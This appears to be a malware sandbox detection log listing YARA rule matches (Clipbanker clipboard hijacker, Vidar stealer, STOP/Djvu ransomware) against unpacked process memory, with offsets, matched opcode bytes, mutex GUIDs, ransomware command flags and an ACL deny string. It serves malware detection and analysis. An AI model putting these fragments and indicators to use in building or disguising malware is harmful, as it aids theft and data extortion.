28.2.mstsca.exe.9715a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
27.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
27.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
27.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
27.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
27.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
27.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
31.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
31.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
31.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
28.2.mstsca.exe.9715a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
28.2.mstsca.exe.9715a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
19.2.mstsca.exe.9315a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
19.2.mstsca.exe.9315a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
19.2.mstsca.exe.9315a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
19.2.mstsca.exe.9315a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
19.2.mstsca.exe.9315a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
31.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
31.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
31.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
13.2.build3.exe.8115a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
13.2.build3.exe.8115a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
10.2.build2.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
9.2.build2.exe.1ce15a0.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
9.2.build2.exe.1ce15a0.1.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
16.2.build3.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
16.2.build3.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
16.2.build3.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
10.2.build2.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
29.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
29.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
29.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
20.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
20.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
20.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
13.2.build3.exe.8115a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
13.2.build3.exe.8115a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
13.2.build3.exe.8115a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
30.2.mstsca.exe.9715a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
30.2.mstsca.exe.9715a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
30.2.mstsca.exe.9715a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
29.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
29.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
29.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
8.2.rq0mVjR9ar.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.rq0mVjR9ar.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
8.2.rq0mVjR9ar.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.rq0mVjR9ar.exe.5e515a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.rq0mVjR9ar.exe.5e515a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.rq0mVjR9ar.exe.5e515a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
24.2.rq0mVjR9ar.exe.5dd15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
24.2.rq0mVjR9ar.exe.5dd15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.2.rq0mVjR9ar.exe.5dd15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.rq0mVjR9ar.exe.5e215a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.rq0mVjR9ar.exe.5e215a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
